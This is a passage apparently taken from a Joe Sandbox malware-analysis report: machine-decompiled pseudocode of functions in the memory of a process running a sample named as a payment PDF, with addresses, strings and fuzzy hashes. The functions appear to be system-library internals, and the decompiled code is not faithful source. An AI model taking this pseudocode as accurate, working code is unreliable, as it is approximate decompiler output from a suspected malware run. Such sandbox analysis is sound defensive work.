					_t76 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t76 = 0x7ffe0384;
				}
				_t152 = 0x7ffe0385;
				if( *_t76 != 0) {
					if(L33483C40() == 0) {
						_t78 = 0x7ffe0385;
					} else {
						_t78 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t78 & 0x00000010) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(L33483C40() != 0) {
						_t96 = ( *[fs:0x30])[0x50] + 0x22a;
					} else {
						_t96 = _t150;
					}
					if( *_t96 != 0) {
						_t96 =  *[fs:0x30];
						if((( *[fs:0x30])[0x240] & 0x00000004) == 0) {
							goto L6;
						}
						if(L33483C40() != 0) {
							_t96 =  *[fs:0x30];
							_t152 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t152 & 0x00000020) != 0) {
							L18:
							_t152 = _v28;
							_v36 =  *((intOrPtr*)(_t124 + 0x18)) + _v28[4];
							L334B4FD0(_t126,  &_v56,  *((intOrPtr*)(_t124 + 0x18)) + _v28[4]);
							_t127 = _t124;
							L334EF899(_t124, _v28, _v32,  &_v36,  &_v44);
							_t86 = _v36;
							if(_v36 == 0) {
								L334BFF70( &_v20, 0xc, "#%u", _v44);
								_t86 =  &_v20;
							}
							L334B4FD0(_t127,  &_v64, _t86);
							_t142 = _v40;
							_t125 = _t124 + 0x24;
							_v32 = _t125;
							_t131 = (_v40[0x24] & 0x0000ffff) + 8 + ((_v64 & 0x0000ffff) + (_v56 & 0x0000ffff)) * 2 + ( *_t125 & 0x0000ffff);
							_t93 =  *0x33565d78; // 0x0
							_v28 = _t131;
							_v48 = _t131 + 0x24;
							_t124 = L33485D90(_t131 + 0x24, ( *[fs:0x30])[0x18], _t93 + 0x180000, _t131 + 0x24);
							if(_t124 != 0) {
								_t43 = _t124 + 0x24; // 0x24
								_t153 = _t43;
								 *((short*)(_t124 + 6)) = 0x14d6;
								 *((intOrPtr*)(_t124 + 0x20)) = 3;
								L334EFD65(_v32, _t153, _v28,  &_v24);
								_t154 = _t153 + _v24;
								_v28 = _v28 - _v24;
								L334EFD65( &(_v40[0x24]), _t154, _v28 - _v24,  &_v24);
								_t152 = _t154 + _v24;
								_v28 = _v28 - _v24;
								L334EFD20( &_v56, _t152, _v28 - _v24,  &_v24);
								_t142 = _v24 + _t152;
								L334EFD20( &_v64, _v24 + _t152, _v28 - _v24,  &_v24);
								if(L33483C40() != 0) {
									_t150 = ( *[fs:0x30])[0x50] + 0x22a;
								}
								_push(_t124);
								_push(_v48 + 0xffffffe0);
								_push(0x402);
								_push( *_t150 & 0x000000ff);
								L334B2F90();
								_t96 = E33483BC0(( *[fs:0x30])[0x18], 0, _t124);
							}
						}
						goto L6;
					} else {
						L6:
						return E334B4B50(_t96, _t124, _v8 ^ _t156, _t142, _t150, _t152);
					}
				}
			}

0x334802f9
0x334802f9
0x33480308
0x33480310
0x33480313
0x33480319
0x3348031c
0x3348031f
0x33480324
0x3348032b
0x334d4ae2
0x33480331
0x33480331
0x33480331
0x33480336
0x3348033b
0x334d4af3
0x334d4b05
0x334d4af5
0x334d4afe
0x334d4afe
0x334d4b0a
0x00000000
0x334d4b0c
0x00000000
0x334d4b0c
0x33480341
0x33480341
0x33480348
0x334d4b1a
0x3348034e
0x3348034e
0x3348034e
0x33480353
0x334d4b24
0x334d4b31
0x00000000
0x00000000
0x334d4b3e
0x334d4b40
0x334d4b49
0x334d4b49
0x334d4b52
0x334d4b58
0x334d4b58
0x334d4b62
0x334d4b69
0x334d4b77
0x334d4b7d
0x334d4b82
0x334d4b87
0x334d4b97
0x334d4b9f
0x334d4b9f
0x334d4ba7
0x334d4bac
0x334d4baf
0x334d4bbc
0x334d4bcc
0x334d4bce
0x334d4bd3
0x334d4be6
0x334d4bf1
0x334d4bf5
0x334d4bfe
0x334d4bfe
0x334d4c09
0x334d4c14
0x334d4c1b
0x334d4c29
0x334d4c33
0x334d4c39
0x334d4c47
0x334d4c4e
0x334d4c54
0x334d4c69
0x334d4c6c
0x334d4c78
0x334d4c83
0x334d4c83
0x334d4c8c
0x334d4c90
0x334d4c94
0x334d4c99
0x334d4c9a
0x334d4cab
0x334d4cab
0x334d4bf5
0x00000000
0x33480359
0x33480359
0x33480367
0x33480367
0x33480353

Strings

#%u, xrefs: 334D4B8F

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: 6af6c4a7d052ac7e91db73c9d4ec897d257d3ba8222dc897d0ba9114a9bb955b
Instruction ID: 04f2cadfef26c4e57f49879859acbdc28732ecbb737c04b5666cfb29093e096b
Opcode Fuzzy Hash: 6af6c4a7d052ac7e91db73c9d4ec897d257d3ba8222dc897d0ba9114a9bb955b
Instruction Fuzzy Hash: 93713775E002099FDB01CFA8D990FAEB7F8BF08744F154069E905EB751EA34E941CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 335386A8 Relevance: 1.4, Strings: 1, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E335386A8(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				void* _t69;
				signed int _t73;
				signed char _t86;
				signed int _t89;

				_t74 = __edx;
				_push(__ecx);
				_t86 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0xb0));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t89 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E33539BB8(_t57, _t86, _t74, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E33538565(_t86, _t74, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t73 = _t89;
					} else {
						_t73 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t73;
					_t62 = _a8;
					L11:
					_t74 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t86 + 0x10)) == _t89) {
						L19:
						if(( *(_t86 + 0xc) & 0x10000000) == 0) {
							L22:
							_t75 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t89 - 2;
								if(_t89 != 2) {
									__eflags = (_t89 + 2 << 7) + _t86;
									_t89 = E3353BA66((_t89 + 2 << 7) + _t86, _t75, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E3353A553(_t86, _v8, _t57);
								asm("sbb esi, esi");
								_t89 =  ~_t89;
								_t41 = L33483C40();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t89;
										if(_t89 != 0) {
											E3352F247(_t86, _t59, "true");
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = L3353DE9F(_t57, 0x33566dc8, (_t75 -  *0x33566dc4 >> 0x14) + (_t75 -  *0x33566dc4 >> 0x14), _t86, _t89, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t75 = _v12;
							_t27 = _t47 - 1; // -1
							_t89 = _t27;
							goto L25;
						}
						_t62 = _t86;
						if(E33539B4D(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t89);
						_push(_t89);
						_push(_t89);
						_t24 =  &_v8; // 0x33566830
						_push( *_t24);
						_push("true");
						_pop(_t69);
						L33535FED(_t69, _t86);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(L335178DE(_t62, _t86, _v8, ?str?, _t36 + 8) < 0) {
								L34:
								return _t89;
							}
							goto L19;
						}
						_t62 = _t86;
						_t36 = E33538565(_t62, _t74, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x335386a8
0x335386b0
0x335386b7
0x335386b9
0x335386c0
0x335386cb
0x335386cf
0x335386dc
0x335386dc
0x335386df
0x335386e1
0x335386e3
0x335386e6
0x3353870f
0x33538712
0x33538714
0x00000000
0x00000000
0x3353871a
0x3353871f
0x33538722
0x33538724
0x00000000
0x335386e8
0x335386ef
0x335386f6
0x33538702
0x335386fd
0x335386fd
0x335386fd
0x33538707
0x3353870a
0x33538726
0x33538726
0x3353872a
0x33538730
0x33538774
0x3353877b
0x335387a4
0x335387a4
0x335387a8
0x335387ab
0x335387ce
0x335387ce
0x335387d1
0x33538831
0x33538838
0x00000000
0x33538838
0x335387d3
0x335387d4
0x335387dc
0x335387e3
0x335387e5
0x335387e7
0x335387ec
0x335387ee
0x33538800
0x335387f0
0x335387f9
0x335387f9
0x33538805
0x33538808
0x3353880a
0x33538810
0x33538817
0x33538819
0x3353881b
0x33538823
0x33538823
0x3353881b
0x33538817
0x00000000
0x33538808
0x335387b6
0x335387be
0x335387c3
0x335387c5
0x00000000
0x00000000
0x335387c7
0x335387cb
0x335387cb
0x00000000
0x335387cb
0x33538781
0x3353878c
0x00000000
0x00000000
0x3353878e
0x3353878f
0x33538790
0x33538791
0x33538791
0x33538797
0x33538799
0x3353879a
0x00000000
0x33538737
0x33538737
0x33538739
0x33538748
0x3353874b
0x00000000
0x00000000
0x3353874d
0x33538753
0x00000000
0x00000000
0x33538762
0x3353876e
0x3353883a
0x33538842
0x33538842
0x00000000
0x3353876e
0x3353873d
0x3353873f
0x33538746
0x00000000
0x00000000
0x00000000
0x33538746
0x33538730

Strings

0hV3, xrefs: 33538791

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: 0hV3
API String ID: 0-3298436833
Opcode ID: e3473bcb5dbd3faf3f52e54e0b89b7bfae33d758ab44f612f282367059ad840e
Instruction ID: 35920de0150fc8c820804e11bb899a5bcb62c271039758ae78ba6969aa4dff8c
Opcode Fuzzy Hash: e3473bcb5dbd3faf3f52e54e0b89b7bfae33d758ab44f612f282367059ad840e
Instruction Fuzzy Hash: F44149B47027209BD70DCA29E890B6BB7AAEFC23B1F548618F855C7680DB34D909C790

Uniqueness

Uniqueness Score: -1.00%

Function 3348E547 Relevance: 1.4, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E3348E547(unsigned int __ecx, void* __edx, void* __eflags) {
				char _v24;
				char _v32;
				unsigned int _v36;
				short _v38;
				char _v40;
				signed int _v44;
				intOrPtr _v48;
				signed short _v50;
				unsigned int _v52;
				char _v56;
				char _v57;
				intOrPtr _v60;
				char _v61;
				char _v73;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t47;
				intOrPtr _t51;
				void* _t55;
				char _t60;
				void* _t68;
				void* _t78;
				unsigned int _t81;
				unsigned int _t82;
				void* _t94;
				void* _t95;
				void* _t97;
				unsigned int _t99;
				short _t100;
				signed int _t101;
				void* _t103;

				_t82 = __ecx;
				_t103 = (_t101 & 0xfffffff8) - 0x2c;
				_v44 = _v44 & 0x00000000;
				_push(_t78);
				_push(_t97);
				_push(_t94);
				_push( &_v44);
				_push(0);
				_push(0x33441050);
				E3348F2F0(_t78, _t94, _t97, __eflags);
				_t95 = L3347DE20(_t82, __eflags, _v56, "true", 0xd,  &_v52);
				if(_t95 == 0) {
					_t47 = 0;
					L15:
					return _t47;
				}
				_t99 = 0;
				_t81 = _v52 >> 5;
				_v44 =  *( *[fs:0x30] + 0x38);
				_v40 = 0;
				_v36 = 0;
				_v52 = 0;
				if(_t81 == 0) {
					L14:
					_t47 = _t99;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t51 =  *((intOrPtr*)(_t95 + 4));
					if(_t51 == 0) {
						break;
					}
					_push("true");
					_v48 = _t51 + _v56;
					_t55 = E334B74B0(_t51 + _v56, "EXT-");
					_t103 = _t103 + 0xc;
					_t108 = _t55;
					if(_t55 != 0) {
						L11:
						_t95 = _t95 + 0x20;
						_t82 = _v52 + 1;
						_v52 = _t82;
						if(_t82 < _t81) {
							continue;
						}
						break;
					}
					E334B5010(_t82,  &_v32, _v48);
					_t100 = L3346ADA0(_t82, _t108,  &_v40);
					if(_t100 > (_v50 & 0x0000ffff)) {
						__eflags = _t100 - 0xfffe;
						if(_t100 >= 0xfffe) {
							_t99 = 0xc0000095;
							break;
						}
						__eflags = _v36;
						if(_v36 != 0) {
							E33483B90( &_v40);
						}
						_t60 = L33485D60(_t100);
						_v40 = _t60;
						__eflags = _t60;
						if(_t60 == 0) {
							_t99 = 0xc000009a;
							break;
						} else {
							_v38 = _t100;
							L6:
							E3348C560( &_v40,  &_v32, 0);
							L3348DF36(0,  &_v52, 0x14d0);
							_t99 = E3349015C(_v60,  &_v56, 0,  &_v73,  &_v40);
							if(_t99 < 0 || _v57 == 0) {
								_t68 = 0x14d3;
							} else {
								_t68 = (0 | _v24 == 0x00000000) + 0x14d1;
							}
							L3348DF36(0,  &_v40, _t68);
							if(_v61 != 0 && E334904C0(0x33441174,  &_v24, ?str?) == 0) {
								_t99 = E3348E4F8(_v56, _t95);
								__eflags = _t99;
								if(_t99 < 0) {
									break;
								}
								_t99 = 0;
							}
							goto L11;
						}
					}
					_v40 = 0;
					goto L6;
				}
				if(_v36 != 0) {
					E33483B90( &_v40);
				}
				goto L14;
			}

0x3348e547
0x3348e54f
0x3348e552
0x3348e55b
0x3348e55c
0x3348e55d
0x3348e55e
0x3348e55f
0x3348e561
0x3348e566
0x3348e57d
0x3348e581
0x3348e706
0x3348e6b9
0x3348e6bf
0x3348e6bf
0x3348e58d
0x3348e593
0x3348e599
0x3348e59f
0x3348e5a3
0x3348e5a7
0x3348e5ad
0x3348e6b7
0x3348e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x3348e5b3
0x3348e5b3
0x3348e5b3
0x3348e5b8
0x00000000
0x00000000
0x3348e5c2
0x3348e5ca
0x3348e5ce
0x3348e5d3
0x3348e5d6
0x3348e5d8
0x3348e692
0x3348e696
0x3348e699
0x3348e69a
0x3348e6a0
0x00000000
0x00000000
0x00000000
0x3348e6a0
0x3348e5e7
0x3348e5fb
0x3348e5ff
0x3348e6d5
0x3348e6db
0x3348e711
0x00000000
0x3348e711
0x3348e6dd
0x3348e6e2
0x3348e6e9
0x3348e6e9
0x3348e6ef
0x3348e6f4
0x3348e6f8
0x3348e6fa
0x3348e70a
0x00000000
0x3348e6fc
0x3348e6fc
0x3348e60c
0x3348e618
0x3348e628
0x3348e646
0x3348e64a
0x334d986f
0x3348e65b
0x3348e665
0x3348e665
0x3348e671
0x3348e67b
0x3348e6cb
0x3348e6cd
0x3348e6cf
0x00000000
0x00000000
0x3348e6d1
0x3348e6d1
0x00000000
0x3348e67b
0x3348e6fa
0x3348e607
0x00000000
0x3348e607
0x3348e6ab
0x3348e6b2
0x3348e6b2
0x00000000

Strings

EXT-, xrefs: 3348E5C4

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 2926052f5cd3b5ce206dd27bcdc10fc82eea20b4839ad78290814efc98be7b1b
Instruction ID: 0322ef3530d0c98140592fc379aeef353e4c0fa1d8a08ce8a551e35573f5c442
Opcode Fuzzy Hash: 2926052f5cd3b5ce206dd27bcdc10fc82eea20b4839ad78290814efc98be7b1b
Instruction Fuzzy Hash: 5641C0729193019FD710DF65C840F5BB7E8AF88714F840A2DF598EB2A0EA75C94487AB

Uniqueness

Uniqueness Score: -1.00%

Function 334A41BB Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E334A41BB(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = L334858B0(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push("true");
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = L334B2CE0();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push("true");
						_push("true");
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = L334B2E40();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E334B2A80();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0x142e381a
							_t109 = L33485D90(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2003142e
								L334B88C0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2003142e
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E334B2A80();
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x334a41cf
0x334a41d5
0x334a41dc
0x334a41e3
0x334a41ee
0x334a41f0
0x334a41f4
0x334a41fc
0x334a4204
0x334a4209
0x334a4211
0x334a4212
0x334a421b
0x334a421f
0x334a4220
0x334a4228
0x334a422c
0x334a4230
0x334a4239
0x334a4240
0x334a4247
0x334a424e
0x334e2e52
0x334e2e52
0x334a4254
0x334a4254
0x334a4256
0x334a425c
0x334a4261
0x334a4262
0x334a426b
0x334a426f
0x334e2e49
0x334e2e49
0x334e2e4d
0x00000000
0x334a4275
0x334a4275
0x334a4289
0x334a428d
0x334e2e44
0x00000000
0x334a4293
0x334a4297
0x334a429e
0x334a42a5
0x334a42ab
0x334a42ae
0x334a42b2
0x334a42b5
0x334a42bc
0x334a42c0
0x334a42d4
0x334a42db
0x334a42df
0x334a42e2
0x334a42e7
0x334a42ea
0x334a42f0
0x334a430b
0x334e2e59
0x334e2e5d
0x334e2e6e
0x334e2e73
0x334a4311
0x334a4314
0x334a4322
0x334a4327
0x00000000
0x334a4327
0x334a42f2
0x334a42f2
0x334a42f5
0x334a42f7
0x334a42f7
0x334a42f0
0x334a428d
0x334a426f
0x334a424e
0x334a42ff

Strings

@, xrefs: 334A4220

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction ID: 0f6db9e1a5776c60167d5a56d5d384d21fd07af334e49b58705ae090853ca43d
Opcode Fuzzy Hash: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction Fuzzy Hash: DD517A71504711AFD320CF59C840A6BB7F8FF48B50F00892EF9959B6A0E774E954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 334EC3B0 Relevance: 1.4, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E334EC3B0(char* _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x3356b370 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = L334A4E50(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E334EC574(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						L334B8F40( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E334EC3B0;
						L334B8F40( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						L334C8940( &_v1072, _t75, _t79, _t80, _t81);
						E334FA5E0(0, _t75, _t80,  &_v1152,  &_v1072, "true");
						_push(_v1152);
						_push(0xffffffff);
						L334B2C70();
					}
					return E334B4B50(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E334EC7DD(_a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E334EC6F2(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					L334B8F40( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push("true");
					_push( &_v1176);
					_push(_v1156);
					_t81 = E334B2B00();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E334EC5F5(_a4,  &_v352, _t80);
						}
					}
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E334B2A80();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x334ec3c2
0x334ec3ca
0x334ec3cd
0x334ec3d6
0x334ec3d7
0x334ec3ee
0x334ec3ff
0x334ec411
0x334ec415
0x334ec4db
0x334ec4db
0x334ec4dd
0x334ec4e2
0x334ec4e9
0x334ec4f5
0x334ec4fd
0x334ec50d
0x334ec517
0x334ec528
0x334ec536
0x334ec537
0x334ec54c
0x334ec551
0x334ec557
0x334ec559
0x334ec559
0x334ec571
0x334ec571
0x334ec425
0x334ec430
0x334ec434
0x00000000
0x00000000
0x334ec43a
0x334ec447
0x334ec452
0x334ec456
0x334ec458
0x334ec465
0x334ec46a
0x334ec473
0x334ec474
0x334ec479
0x334ec47a
0x334ec482
0x334ec483
0x334ec48e
0x334ec492
0x334ec498
0x334ec49f
0x334ec49f
0x334ec4a6
0x334ec4a8
0x334ec4ab
0x334ec4b2
0x334ec4b2
0x334ec4a6
0x334ec4c7
0x334ec4c7
0x334ec4cc
0x334ec4d2
0x334ec4d9
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 334EC3FF

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 63b2caa418c271ccb2c39f3eae579ac96122920b7ea790f806af810d7da42bb2
Instruction ID: f5c2c7b1326e1e2457eb1be54c983b0ed6d96afa0f01841e74028f9f7bb1e8f6
Opcode Fuzzy Hash: 63b2caa418c271ccb2c39f3eae579ac96122920b7ea790f806af810d7da42bb2
Instruction Fuzzy Hash: C54124B2D0022DAFDB21DB54DC80FDE777CAB44715F0085E9E619AB140DB709E898FA8

Uniqueness

Uniqueness Score: -1.00%

Function 334707A7 Relevance: 1.4, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E334707A7(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _t43;
				intOrPtr* _t48;
				intOrPtr _t49;
				char* _t54;
				intOrPtr _t57;
				void* _t67;
				void* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t74;
				signed char _t79;
				intOrPtr* _t80;
				intOrPtr* _t82;
				void* _t86;
				intOrPtr _t89;

				_t43 =  *0x3356664c; // 0x314f9d8
				_push(0);
				_t86 = __edx;
				_t89 = __ecx;
				L33482330(_t43 + 4, _t43 + 4);
				_t1 = _t89 + 0x28; // 0x28
				L33482330(_t1, _t1);
				_t2 = _t89 + 0x2c; // 0x2c
				_t82 = _t2;
				_t73 =  *((intOrPtr*)(_t82 + 4));
				_t48 = _t86 + 4;
				if( *_t73 != _t82) {
					_push("true");
					_pop(_t74);
					asm("int 0x29");
					L24:
					_t49 =  *((intOrPtr*)(_t74 + 0x18));
					L22:
					_t74 =  *_t74;
					L20:
					if(_t74 == _t82) {
						L11:
						 *((intOrPtr*)(_t89 + 0x18)) = _t49;
						_push( &_v12);
						_push(0);
						_t25 = _t89 + 0x10; // 0x10
						_push(_t49);
						_t69 = E334B4550();
						if(_t69 >= 0) {
							 *((intOrPtr*)(_t89 + 8)) = _v12;
							 *((intOrPtr*)(_t89 + 0xc)) = _v8;
						}
						if(L33483C40() != 0) {
							_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
						} else {
							_t54 = 0x7ffe038e;
						}
						if( *_t54 != 0) {
							if(_t69 >= 0) {
								E334FC5FC(_t86, _t89,  *((intOrPtr*)(_t89 + 0x50)),  *((intOrPtr*)(_t86 + 0x10)),  *(_t86 + 0x24),  *((intOrPtr*)(_t89 + 0x10)),  *((intOrPtr*)(_t89 + 0x14)));
							}
						}
						_t30 = _t89 + 0x28; // 0x28
